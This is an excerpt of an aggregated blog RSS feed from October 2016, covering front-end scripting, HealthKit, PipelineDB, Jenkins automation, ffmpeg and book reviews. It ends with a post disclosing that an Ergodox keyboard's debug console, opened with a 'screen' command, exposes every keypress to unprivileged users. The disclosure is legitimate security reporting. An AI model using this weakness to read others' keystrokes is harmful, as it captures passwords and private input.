    $header.&lt;span class="hljs-property"&gt;classList&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;remove&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;smaller&amp;#x27;&lt;/span&gt;);
  }
}

&lt;span class="hljs-variable language_"&gt;window&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;addEventListener&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;scroll&amp;#x27;&lt;/span&gt;, checkHeaderSmallText, &lt;span class="hljs-literal"&gt;false&lt;/span&gt;);

&lt;span class="hljs-title function_"&gt;checkHeaderSmallText&lt;/span&gt;();
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So why is this progressive? Most importantly, no markup (with the exception of
an added script tag in the head) has been added. Browsers with JavaScript
disabled or screen readers will interpret the site as they did before. If the
feature fails for any reason, or example if deferred scripts or &lt;code&gt;classList&lt;/code&gt; are
not supported, then an error will be thrown and the header will fail to shrink.
Should CSS transitions not be supported, the header will immediately go from the
larger to the smaller state on scrolling. These failure modes are acceptable in
my opinion.&lt;/p&gt;
&lt;p&gt;In the future I have a more elaborate header animation in mind. If you're
interested in such things, watch this space!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sat, 15 Oct 2016 21:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/progressive-enhancement-1</guid></item><item><title>The Old Man and the Sea</title><link>https://apurva-shukla.me/bookshelf/the-old-man-and-the-sea/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Alluring and mystical with its simplicity, but boundless and indefinable with its repercussions.

Hemmingway crafts a novel that…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sat, 15 Oct 2016 14:23:17 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-old-man-and-the-sea/</guid></item><item><title>Stop HealthKit causing SIGABRT</title><link>https://caiustheory.com/stop-healthkit-causing-sigabrt/</link><description>&lt;p&gt;You have some crazy idea for an iOS app that uses HealthKit so you fire up Xcode, create a new project &amp;amp; add the HealthKit entitlement. Follow the tutorial to request authorization from the &lt;code&gt;HKHealthKitStore&lt;/code&gt;. Hit run to make sure the app compiles and find that it instantly crashes with a &lt;code&gt;SIGABRT&lt;/code&gt; in &lt;code&gt;AppDelegate&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Puzzled by this you go over the minimal amount of code you&amp;rsquo;ve added and pare it right down to just the &lt;code&gt;HKHealthKitStore.requestAuthorization&lt;/code&gt; call which is still causing the &lt;code&gt;SIGABRT&lt;/code&gt; as soon as the app tries to boot.&lt;/p&gt;
&lt;p&gt;The missing piece of the puzzle is &lt;code&gt;Info.plist&lt;/code&gt; needs a key adding to it for the HealthKit authorisation screen. The documentation helpfully forgets to mention this however. Here&amp;rsquo;s some quick simple steps to fix it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;Info.plist&lt;/code&gt; in Xcode&lt;/li&gt;
&lt;li&gt;Click the &lt;code&gt;(+)&lt;/code&gt; at the top to add a new key/value to the file&lt;/li&gt;
&lt;li&gt;Enter &amp;ldquo;Privacy - Health Share Usage Description&amp;rdquo; for the key&lt;/li&gt;
&lt;li&gt;Enter a useful message to the user explaining why they should allow access to their healthkit data for your app for the value&lt;/li&gt;
&lt;li&gt;Run your app and see the HealthKit authorisation sheet appear&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;NB&lt;/strong&gt;: if you want to update/write any data to healthkit, you&amp;rsquo;ll need to add the &amp;ldquo;Privacy - Health Update Usage Description&amp;rdquo; key with a description as well.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Sat, 15 Oct 2016 12:15:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/stop-healthkit-causing-sigabrt/</guid></item><item><title>2016-10-15/01</title><link>https://ho.dges.online/pictures/2016-10-15-01/</link><description/><author>ho.dges.online</author><pubDate>Sat, 15 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-15-01/</guid></item><item><title>2016-10-15/02</title><link>https://ho.dges.online/pictures/2016-10-15-02/</link><description/><author>ho.dges.online</author><pubDate>Sat, 15 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-15-02/</guid></item><item><title>2016-10-15/03</title><link>https://ho.dges.online/pictures/2016-10-15-03/</link><description/><author>ho.dges.online</author><pubDate>Sat, 15 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-15-03/</guid></item><item><title>A Tale of Two Nows</title><link>https://peterlyons.com/problog/2016/10/a-tale-of-two-nows/</link><description>&lt;p&gt;I recently endeavored to use an analytics database called &lt;a href="https://www.pipelinedb.com/"&gt;pipelindb&lt;/a&gt; to build a leaderboard type feature for a client. Pipelinedb is a fork-and-enhance project built on postgresql and most the of magic is presented to the developer in the form of a &lt;code&gt;CONTINUOUS VIEW&lt;/code&gt; construct, which is similar to a regular relational table/view but has the ability to efficiently do sliding window queries on big-data data sets.&lt;/p&gt;
&lt;p&gt;The sliding window query I needed was along the lines of "show me the players on team X with the highest score in the last day". I'm changing the subject matter here to make it generic, but my requirements were basically that. I had to keep track of daily, weekly, and all-time player scores and be able to find the top N players in combination with some &lt;code&gt;WHERE&lt;/code&gt; clauses like &lt;code&gt;WHERE team_id = 42&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This was my first exposure to pipelinedb and working with my team and the docs, I was able to build the feature based on the following structures in pipelinedb:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a stream where rows are inserted as players score&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="language-sql "&gt;&lt;code class="language-sql"&gt;INSERT INTO score_stream
  (player_id, team_id, timestamp)
  VALUES
  (23, 47, &amp;#x27;2016-10-13 20:08:17.505233+00&amp;#x27;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;a continuous view built upon that stream:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="language-sql "&gt;&lt;code class="language-sql"&gt;CREATE CONTINUOUS VIEW score_by_team_1d AS
  SELECT player.player_id, team.team_id, count(*) AS score
  FROM score_stream ss
  JOIN players ON ss.player_id::integer = players.player_id
  JOIN players_teams pt ON players.player_id = pt.player_id
  WHERE ss.timestamp &amp;gt; current_timestamp - interval &amp;#x27;1 day&amp;#x27;
  GROUP BY pt.term_id, pt.player_id;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We got it built and deployed and all seemed to be well. But after a while, we started to have some doubts about the resulting data we were getting. The daily high score players weren't changing as much as we would have intuitively expected.&lt;/p&gt;
&lt;p&gt;I dug into this a bit using some ad-hoc tooling, dumping results into spreadsheets, and comparing and I also started to see patterns that looked like instead of our sliding windows tracking scores over specific periods like daily and weekly, it looked like they were just accumulating total scores. But it was particularly weird because it wasn't all-time total scores, just totals since some particular date.&lt;/p&gt;
&lt;p&gt;With this hypothesis in mind, I went back to the pipelinedb docs and did the classic slow, long facepalm when I found this clause:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PipelineDB exposes the current_date, current_time, and current_timestamp values to use within queries, but by design these don’t work with sliding-window queries because they remain constant within a transaction and thus don’t necessarily represent the current moment in time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When we had prototyped our queries, they were based upon a function called &lt;code&gt;clock_timestamp()&lt;/code&gt; which works properly with pipelindb continuous views. As we finalized the code and switched from proof-of-concept structures to our real structures, I changed that to &lt;code&gt;current_timestamp&lt;/code&gt; based on my reading of the postgresql documentation. I thought that was the more appropriate function.&lt;/p&gt;
&lt;p&gt;But it turns out I had this wrong. The &lt;code&gt;current_timestamp&lt;/code&gt; had only ever evaluated to a single moment in time, specifically when we first launched the feature and ran the &lt;code&gt;CREATE CONTINUOUS VIEW&lt;/code&gt; statement. Thus it wasn't computing daily scores, it was computing scores since that specific, fixed moment in the past. Our sliding windows weren't sliding. The query's notion of "now" was not always being re-evaluated to the current moment in time.&lt;/p&gt;
&lt;p&gt;The proper fix involved "just" dropping the errant &lt;code&gt;CONTINUOUS VIEW&lt;/code&gt; definition and recreating it with the only change being to use &lt;code&gt;clock_timestamp()&lt;/code&gt; instead of &lt;code&gt;current_timestamp&lt;/code&gt;. This also discarded our current data for 1 day and 1 week intervals, meaning we'd have to wait a week before we could rely on that data again.&lt;/p&gt;
&lt;p&gt;However, the realities of production data meant this fix out would take the better part of 2 weeks. Compounding the problem was the fact that a feature such as this that requires careful testing of data results over relatively long periods of time (days, weeks) meant that a severe but easy-to-miss bug such as this could get through dev, QA, and product management and escape detection. It's also a challenge to write automated tests for this. It's not impossible, it's just a lot more involved that testing basic CRUD functionality.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Fri, 14 Oct 2016 23:55:35 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/10/a-tale-of-two-nows/</guid></item><item><title>Compiling Lisp to JavaScript from scratch in 350 LOC</title><link>https://gilmi.me/post/2016/10/14/lisp-to-js</link><description>In this article we will look at a from-scratch implementation of a compiler from a simple LISP-like calculator language to JavaScript.</description><author>λm.me</author><pubDate>Fri, 14 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://gilmi.me/post/2016/10/14/lisp-to-js</guid></item><item><title>2016-10-14</title><link>https://ho.dges.online/pictures/2016-10-14/</link><description>&lt;p&gt;&lt;strong&gt;White Heat&lt;/strong&gt;&lt;br /&gt;
Ribadesella, Spain.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 14 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-14/</guid></item><item><title>Using iOS Image Picker with React Native</title><link>https://goshacmd.com/react-native-camera-roll-image-picker/</link><author>Gosha Spark</author><pubDate>Fri, 14 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/react-native-camera-roll-image-picker/</guid></item><item><title>Use Jenkins to Run a Function as a Service Platform</title><link>https://btmiller.com/2016/10/13/jenkins-function-as-a-service-platform.html</link><description>&lt;p&gt;Most shops use Jenkins as a continuous integration/delivery solution - the unequivocal primary role for Jenkins. Hidden in plain sight, however, Jenkins also comes with all the tools necessary, right-out-of-the-box, to supply your infrastructure team with a function as a service platform. In fact, Jenkins was doing FaaS long before it was the hot new thing.&lt;/p&gt;

&lt;h3 id="were-not-landing-on-the-moon-are-we"&gt;We’re Not Landing on the Moon, Are We?&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=MiU42KI1GUw"&gt;I don’t care what anything was designed to do; I care about what it &lt;em&gt;can&lt;/em&gt; do&lt;/a&gt;. I found it quiet weird at first using Jenkins for use cases other than development, but as an infrastructure team expected to provide services, it was a very attractive solution for enabling quick service delivery - in this case, a website management portal. Jenkins is the foundation upon which we built layers for enabling self-service interfaces for managing organizational websites. It provided various functions including creating/deleting websites, adding/removing aliases, managing privileges, and some trivial database actions.&lt;/p&gt;

&lt;p&gt;Best part of all this, because Jenkins exposes a REST API, this meant &lt;em&gt;not having to grant Jenkins access to users&lt;/em&gt; - all they see is a lightweight homegrown web UI that makes backend calls to various Jenkins jobs which do the heavy lifting.&lt;/p&gt;

&lt;h3 id="guide-to-get-started"&gt;Guide to Get Started&lt;/h3&gt;

&lt;p&gt;To use Jenkins to create a function as a service, you require:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a function tracked in a repository&lt;/li&gt;
  &lt;li&gt;a Jenkins job&lt;/li&gt;
  &lt;li&gt;an HTTP client&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To get started, create a new &lt;strong&gt;Freestyle project&lt;/strong&gt;. Your code is stored in a repository somewhere, so set that up under &lt;strong&gt;Source Code Management&lt;/strong&gt;. The linchpin of the entire setup is in the &lt;strong&gt;Build Triggers&lt;/strong&gt; - check the box for &lt;strong&gt;Trigger builds remotely (e.g., from scripts)&lt;/strong&gt; and set an auth token (example: &lt;code class="language-plaintext highlighter-rouge"&gt;4UtH70K3N&lt;/code&gt;).&lt;/p&gt;

&lt;div class="bs-callout bs-callout-warning"&gt;
  &lt;p&gt;Simply setting an auth token is not enough to consider this a secure product. If you are planning to run this in production, you should use a proper auth scheme (e.g. AD, LDAP, OAuth2). A sample setup might look like a PHP web app authenticating to LDAP and being hosted behind an Nginx proxy with TLS communication top-to-bottom.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;To execute your function, in the Build step, select &lt;strong&gt;Execute shell&lt;/strong&gt; from the &lt;strong&gt;Add build step&lt;/strong&gt; menu and add whatever command you need to the shell area for executing your function:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;python run.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essentially, every time a Jenkins build is triggered, Jenkins pulls down the code from your repository and runs whatever you’ve defined in the &lt;strong&gt;Execute shell&lt;/strong&gt; step. To test your callable REST API, fire up an HTTP request:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;curl -XPOST http://&amp;lt;jenkins server address&amp;gt;/job/&amp;lt;some_function_job&amp;gt;/build \
    --data token=4UtH70K3N
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;which will kick off a “build” of your Jenkins job. Pretty trivial, but effective. A common next step is to make your job parameterized - to do so, check the box for &lt;strong&gt;This project is parameterized&lt;/strong&gt; and add parameters whose names (&lt;code class="language-plaintext highlighter-rouge"&gt;$FOO&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;$BAR&lt;/code&gt; in this example) can be passed into your function code:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;python run.py $FOO $BAR
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;except now, your HTTP request must include those parameters:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;curl -XPOST http://&amp;lt;jenkins server address&amp;gt;/job/&amp;lt;some_function_job&amp;gt;/buildWithParameters \
    --data token=4UtH70K3N \
    --data-urlencode json='{"parameter": [{"name":"FOO", "value":"hello"}, {"name":"BAR", "value":"world"}]}'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So turns out, you don’t have to up and move your codebase to Google Cloud Functions or AWS Lambda just to satisfy your “serverless” itch. Neat? Totally. Easy? You bet. Nimble, heavy duty, and scalable? Maybe not so much, but for small solution delivery, Jenkins absolutely gets the job done. It’s all about knowing your growth and constraints. Check out Jenkins documentation for specifics on how to interact with the &lt;a href="https://wiki.jenkins-ci.org/display/JENKINS/Remote+access+API"&gt;Remote access API&lt;/a&gt;. And for some more details on how I used Jenkins for service automation, check out conference talk on &lt;a href="https://www.youtube.com/watch?v=QAxfoyxBuZM"&gt;Jenkins for Smarter Operations&lt;/a&gt; (or the just &lt;a href="https://www.cloudbees.com/sites/default/files/2016-jenkins-world-jenkins_for_smarter_operations.pdf"&gt;slide deck&lt;/a&gt;), specifically the Central Web Services and Web Portal sections - thanks Christian and &lt;a href="https://twitter.com/currance"&gt;Curry&lt;/a&gt; for the wonderful presentation.&lt;/p&gt;</description><author/><pubDate>Fri, 14 Oct 2016 02:48:00 GMT</pubDate><guid isPermaLink="true">https://btmiller.com/2016/10/13/jenkins-function-as-a-service-platform.html</guid></item><item><title>Ready Player One</title><link>https://danielpecos.com/2016/10/13/ready-player-one/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.es/Ready-Player-One-B-Books-ebook/dp/B00UVAREXK%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB00UVAREXK"&gt;&lt;img alt="Ready Player One" class="alignleft size-full" height="459" src="https://danielpecos.com/assets/2017/10/Ready-Player-One.jpg" width="300" /&gt;&lt;/a&gt;En el año 2044, el mundo es cada vez más un lugar sombrío, con terribles carencias para la población, razón por la cual, muchas personas escapan de esta realidad participando en el videojuego “Oasis”, entre ellas nuestro protagonista Wade Watts, un adolescente solitario, común y un tanto deprimido que sabe lo afortunado que es por tener un techo, comida suficiente y unas condiciones de vida mucho mejores que la mayoría.&lt;/p&gt;
&lt;p&gt;En “Oasis” los jugadores forman comunidades virtuales, y pueden jugar en diversos universos de ciencia ficción (Star trek, Dune, Star Wars, Firefly); sin embargo, Wade está atascado en los niveles más básicos del juego pues no tiene suficiente puntos de experiencia ni dinero virtual para viajar a esos mundos.&lt;/p&gt;
&lt;p&gt;El creador del juego, James Hallyday murió muy recientemente, y no tuvo hijos, por lo que decidió dejar su fortuna y el control del juego a quien logre encontrar un easter egg (un mensaje oculto) dentro del juego; ya van 5 años de jugadores buscando el mensaje sin éxito alguno, y la única pista que tienen es que se relaciona a los años 80s, (pues Hallyday estaba obsesionado con esa época).&lt;/p&gt;
&lt;p&gt;Es aquí cuando la vida Wade da un vuelco rotundo, al lograr descubrir una pista y avanzar en la búsqueda, ubicándose (con su pseudónimo en el juego llamado Parzival) en solitario en el ranking; esto le da prestigio en el importante mundo de Oasis, pero a la vez cambiará su vida y causará que se vea involucrado en retos y búsquedas que no pertenecen solo al mundo virtual.&lt;/p&gt;
&lt;h3 id="un-libro-amado-por-los-gamers"&gt;&lt;strong&gt;Un libro amado por los gamers&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Ready Player One&lt;/strong&gt; se ha convertido en un libro de culto, es muy apreciado por retratar con autenticidad el espíritu de los gamers y su sentido de comunidad; y a la vez por incorporar elementos atrayentes para los amantes de la ciencia ficción y de lo relacionado a la cultura de los años 80s (música, videojuegos, películas, tv, juegos, cultura pop).&lt;/p&gt;
&lt;p&gt;En la historia los jugadores de Oasis usan un visor y guantes hápticos (para realidad virtual) para adentrarse en un mundo de gran realismo, donde, a su vez, es posible visitar otros mundos donde pueden o no, usar magia o tecnología; incluso es posible asistir a la Escuela en este mundo virtual.&lt;/p&gt;
&lt;h3 id="próxima-adaptación-al-cine"&gt;&lt;strong&gt;Próxima adaptación al cine&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Además de su atrayente trama, otra razón para leer este libro muy pronto, es que actualmente se está filmando su adaptación cinematográfica, dirigida por el reconocido directo Steven Spielberg. El estreno está planificado para Marzo del 2018 y en el guion está participando el autor.&lt;/p&gt;
&lt;h3 id="entretenimiento-para-todos"&gt;&lt;strong&gt;Entretenimiento para todos&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;En definitiva, &lt;strong&gt;Ready Player One&lt;/strong&gt; es un libro que logra atrapar a todo tipo de lectores, pues la suma de sus componentes: una buena historia con argumentos sólidos, personajes con los cuales el lector se puede sentir identificado por ser comunes y corrientes, y una búsqueda constante para alcanzar un objetivo tangible; garantizan una lectura divertida y emocionante, que ha atrapado y cautivado a millones de personas alrededor del mundo.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 13 Oct 2016 22:49:22 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/13/ready-player-one/</guid></item><item><title>Harry Potter y el Legado Maldito</title><link>https://danielpecos.com/2016/10/13/harry-potter-legado-maldito/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.es/Harry-Potter-legado-maldito-Rowling/dp/849838754X%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D849838754X"&gt;&lt;img alt="Harry Potter y el Legado Maldito" class="alignleft size-full" height="570" src="https://danielpecos.com/assets/2017/10/Harry-Potter-y-el-Legado-Maldito.jpg" width="350" /&gt;&lt;/a&gt;La historia del niño que vivió es conocida mundialmente, es referencia cultural y conserva vigencia entre las generaciones que crecieron viviendo el fenómeno de los libros y películas de Harry Potter, y aún logra atraer a muchos nuevos lectores y espectadores, curiosos y ávidos de sumarse a este universo.&lt;/p&gt;
&lt;p&gt;Es por eso, que el mundo no puedo recibir el libro “&lt;strong&gt;Harry Potter y el Legado Maldito&lt;/strong&gt;”, con más que inmensas expectativas, luego de casi diez años del final de la saga.&lt;/p&gt;
&lt;p&gt;En esta historia, J.K.Rowling nos narra, en forma de obra (el libro corresponde al texto de la obra de teatro que actualmente se presenta en Londres, con el mismo nombre) una historia situada 19 años después de que el trío dorado (Harry Potter, Hermione Granger y Ron Weasley) resulte vencedor contra Voldemort en la Batalla de Hogwarts.&lt;/p&gt;
&lt;p&gt;Es el presente y Harry, casado con Ginny Weasley tiene tres hijos, James, Albus y Lily. El hijo del medio, Albus Severus, está por empezar su primer año en Hogwarts junto a Rose Weasley (hija de Hermione y Ron), y no está muy seguro de cómo vivir bajo la sombra de todos los logros, fama y errores de su padre. Lo más peculiar es que Albus, entabla una amistad desde el principio con alguien inesperado, Scorpius Malfoy, el único hijo del conocido Draco Malfoy (enemigo de Harry y su grupo en el tiempo de Hogwarts).&lt;/p&gt;
&lt;p&gt;Por su parte, Harry Potter, héroe del mundo mágico, es Jefe del Departamento de Seguridad Mágica, y sumado a los retos que presenta este trabajo, debe lidiar con las diferencias que tiene con su hijo Albus Severus; y con hechos del pasado que insisten en seguirlo y generar conflictos que pueden tener graves consecuencias para todo el mundo mágico, incluyendo viajes en el tiempo, que como sabemos, pueden alterar gravemente lo ocurrido en pasado, presente y futuro, permitiendo la reaparición de enemigos derrotados, como Lord Voldemort.&lt;/p&gt;
&lt;h3 id="una-historia-que-nunca-muere"&gt;&lt;strong&gt;Una historia que nunca muere&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;En palabras de su autora “Ninguna historia vive al menos que alguien quiera escucharla” y en definitiva, todo el universo de Harry Potter, sus incontables aventuras, sus personajes, aún tienen vigencia y causan interés, es por eso que el libro &lt;strong&gt;Harry Potter y el Legado Maldito&lt;/strong&gt; ha sido esperado con tantas ansias, no solo por los seguidores y fanáticos; sino también por el mundo literario, curioso por saber que le ha deparado el futuro a la historia del mundo mágico y que novedades ha incorporado su escritora.&lt;/p&gt;
&lt;p&gt;Algunos fanáticos de la serie se han mostrado un poco preocupados, pues no están seguros de que &lt;strong&gt;Harry Potter y el Legado Maldito&lt;/strong&gt; esté a la altura de la saga original, y sabemos que difícilmente logre complacer a todos los lectores, pues parte de la magia es lo que cada quien imagino que ocurría con los personajes luego de Harry Potter y las Reliquias de la Muerte; sin embargo, esa sensación cálida de volver a un viejo amigo, al empezar las páginas del que sería el octavo libro en la serie, de seguro estará presente para todos.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 13 Oct 2016 22:22:29 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/13/harry-potter-legado-maldito/</guid></item><item><title>Mit FFMPEG Videos für Web optimal speichern, nur heute, nur jetzt</title><link>https://rybakov.com/blog/ffmpeg/</link><description>&lt;p&gt;Wer Videos über Vimeo oder youtube publiziert, muss sich mit solchen Fragen nicht beschäftigen. Für die zwei Leute, die selber noch Videos in mp4 konvertieren um sie dann in ihre Webseiten einbinden ist es vieleicht interessant.&lt;/p&gt;
&lt;p&gt;Also vielleicht interessant zu erfahren, dass ich lange Zeit es falsch gemacht habe mit direkten Exporten aus FinalCut oder MPEGStreamclip. Es geht besser mit ffmpeg.&lt;/p&gt;
&lt;p&gt;FFMPEG kann man recht leicht mit &lt;a href="http://brew.sh/"&gt;Homebrew&lt;/a&gt; installieren, wie man alles so leicht mit homebrew installieren kann.&lt;/p&gt;
&lt;p&gt;Und dann im Terminal zum gewünschten Ordner navigieren und FFMPEG ausführen mit den Zauberoptionen:
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;ffmpeg -vcodec libx264 -vf &lt;span style="color: #e6db74;"&gt;"format=yuv420p"&lt;/span&gt; -preset slow -tune film -crf &lt;span style="color: #ae81ff;"&gt;25&lt;/span&gt; -maxrate 4000k -bufsize 1000k -movflags +faststart -y videooutput.mp4 -i video.mov&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Dies konvertiert &lt;em&gt;video.mov&lt;/em&gt; in h264 mit guter Qualität und einer variablen Bitrate die nach oben hin auf 4Mbit begrenzt ist.&lt;/p&gt;
&lt;p&gt;Im Einzelnen bedeutet es:&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Thu, 13 Oct 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/ffmpeg/</guid></item><item><title>Just a video demonstration</title><link>https://ericonotes.blogspot.com/2016/10/just-video-demonstration.html</link><description>This is just a video of the FGMK making a chest by modifying the tile map.&lt;br /&gt;
&lt;br /&gt;
One of the important concepts is that you are free to edit any tile - the building blocks of the these 2D world - in any place in the map, and it's ok to do it.&lt;br /&gt;
&lt;blockquote class="imgur-embed-pub" lang="en"&gt;
&lt;a href="https://imgur.com/KcLk3"&gt;FGMK&amp;nbsp;&lt;/a&gt;&lt;/blockquote&gt;</description><author>Erico Notes</author><pubDate>Thu, 13 Oct 2016 02:23:29 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/10/just-video-demonstration.html</guid></item><item><title>Links to Get Started with React and Redux</title><link>https://daniellittle.dev/links-to-get-started-with-react-and-redux</link><description>Getting started to React and want to get right to it? These are the links you're looking for. What you need! First up you’ll need Node…</description><author>Daniel Little Dev</author><pubDate>Thu, 13 Oct 2016 01:38:46 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/links-to-get-started-with-react-and-redux</guid></item><item><title>JavaScript Air Async Patterns</title><link>https://peterlyons.com/problog/2016/10/javascript-air-async-patterns/</link><description>&lt;p&gt;I just had the pleasure of being a guest on the &lt;a href="https://javascriptair.com/episodes/2016-10-12/"&gt;JavaScript Air&lt;/a&gt; podcast/screencast. It's episode 044 "Async Patterns in JavaScript".&lt;/p&gt;
&lt;p&gt;&lt;a href="https://javascriptair.com/episodes/2016-10-12/"&gt;Watch the episode&lt;/a&gt; and I hope you enjoy it! We had a great discussion and covered many aspects of asynchronous programming in JavaScript including Events, Streams, Callbacks, Promises, Generators, Coroutines, Observables/RxJS, Async/Await and more.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;We're getting started! &lt;a href="https://t.co/gfKCxXzavh"&gt;https://t.co/gfKCxXzavh&lt;/a&gt; 🚀 Big announcment in this one, you wont want to miss. &lt;a href="https://twitter.com/hashtag/JavaScriptAir?src=hash"&gt;#JavaScriptAir&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/jsAirQuestion?src=hash"&gt;#jsAirQuestion&lt;/a&gt; &lt;a href="https://t.co/4iTsiIiZEe"&gt;pic.twitter.com/4iTsiIiZEe&lt;/a&gt;&lt;/p&gt;&amp;mdash; JavaScript Air (@JavaScriptAir) &lt;a href="https://twitter.com/JavaScriptAir/status/786251933178695680"&gt;October 12, 2016&lt;/a&gt;&lt;/blockquote&gt;</description><author>Pete's Points</author><pubDate>Wed, 12 Oct 2016 21:47:16 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/10/javascript-air-async-patterns/</guid></item><item><title>Security of the Infinity Ergodox on Mac OS</title><link>https://ntietz.com/blog/security-of-the-infinity-ergodox/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;A friend of mine is very into keyboards and, after seeing his keyboards at work and admiring his Ergodox many times, I took the plunge and built my own. 152 solder joints later, I have this beauty:&lt;/p&gt;
&lt;div class="img-container"&gt;&lt;img alt="My Ergodox on my desk" src="https://ntietz.com/images/ergodox.jpg" /&gt;&lt;/div&gt;
&lt;p&gt;It took a few days to get used to it and in the process, I found a &lt;a href="https://github.com/kiibohd/controller/issues/66"&gt;bug in layer switching&lt;/a&gt;, which I &lt;a href="https://github.com/kiibohd/controller/pull/156"&gt;contributed a fix for&lt;/a&gt;. While fixing it, I came across some very cool &lt;a href="https://github.com/kiibohd/controller/wiki/Debugging"&gt;debugging features&lt;/a&gt; - the keyboard has a console which gives debug info and is very easy to connect to:&lt;/p&gt;
&lt;pre class="language-bash " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-bash"&gt;&lt;span style="color: #fdf4c1;"&gt;screen /dev/tty.usbmodem1A12144
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This console gives a lot of debugging information, and it turns out that it can show every key press! Neat, until you realize that &lt;em&gt;any&lt;/em&gt; user of the system can also see every single key press. A non-privileged test user on my Mac&lt;a href="https://ntietz.com/blog/security-of-the-infinity-ergodox/#footnote-1"&gt;&lt;sup&gt; 1&lt;/sup&gt;&lt;/a&gt; was able to read every key press I made while typing as my normal user.&lt;/p&gt;
&lt;p&gt;This is a huge breach of security. I routinely create accounts on my desktop for other people (my fiancée, my friends who are learning to code), so this is simply an unacceptable risk. This is present in keyboards built with custom firmware, but also on the firmware that ships with the keyboard or is downloaded from the &lt;a href="https://configurator.input.club/"&gt;online configuration tool&lt;/a&gt;.&lt;/p&gt;
